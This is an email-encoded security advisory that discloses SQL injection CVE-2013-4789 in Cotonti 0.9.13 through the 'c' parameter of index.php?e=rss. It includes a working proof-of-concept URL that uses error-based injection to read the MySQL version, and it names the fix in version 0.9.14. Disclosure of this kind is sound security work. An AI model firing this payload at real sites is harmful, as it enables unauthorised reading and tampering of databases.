Advisory ID: HTB23164
Product: Cotonti
Vendor: Cotonti Team
Vulnerable Version(s): 0.9.13 and probably prior
Tested Version: 0.9.13
Vendor Notification: July 10, 2013=20
Vendor Patch: July 17, 2013=20
Public Disclosure: July 31, 2013=20
Vulnerability Type: SQL Injection [CWE-89]
CVE Reference: CVE-2013-4789
Risk Level: High=20
CVSSv2 Base Score: 7.5 (AV:N/AC:L/Au:N/C:P/I:P/A:P)
Solution Status: Fixed by Vendor
Discovered and Provided: High-Tech Bridge Security Research Lab ( https://w=
ww.htbridge.com/advisory/ )=20
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Advisory Details:
High-Tech Bridge Security Research Lab discovered vulnerability in Cotonti,=
which can be exploited to perform SQL injection attacks against vulnerable=
application. A remote attacker can read, modify or delete data in applicat=
ion=E2=80=99s database and even gain complete control over the application =
under certain circumstances.
1) SQL Injection in Cotonti: CVE-2013-4789
The vulnerability exists due to insufficient filtration of the "c" HTTP GET=
parameter passed to "/index.php" script when HTTP GET "e" parameter is set=
to "rss". A remote unauthenticated attacker can execute arbitrary SQL comm=
ands in application's database.
The following PoC code displays version of MySQL server:
http://[host]/index.php?e=3Drss&c=3D%27and%28select%201%20from%28select%20c=
ount%28*%29%2cconcat%28%28select%20concat%28version%28%29%29%29%2cfloor%28r=
and%280%29*2%29%29x%20from%20information_schema.tables%20group%20by%20x%29a=
%29and%27
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Solution:
Upgrade to Cotonti 0.9.14
More Information:
http://www.cotonti.com/news/announce/siena_0914_released
http://www.cotonti.com/forums?m=3Dposts&q=3D7475
https://github.com/Cotonti/Cotonti/commit/45eec046391afabb676b62b9201da0cd5=
30360b4
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References:
[1] High-Tech Bridge Advisory HTB23164 - https://www.htbridge.com/advisory/=
HTB23164 - SQL Injection in Cotonti.
[2] Cotonti - http://www.cotonti.com/ - Cotonti is a powerful open-source w=
eb development framework and content manager with a focus on security, spee=
d and flexibility.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - in=
ternational in scope and free for public use, CVE=C2=AE is a dictionary of =
publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to =
developers and security practitioners, CWE is a formal list of software wea=
kness types.=20
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Disclaimer: The information provided in this Advisory is provided "as is" a=
nd without any warranty of any kind. Details of this Advisory may be update=
d in order to provide as accurate information as possible. The latest versi=
on of the Advisory is available on web page [1] in the References.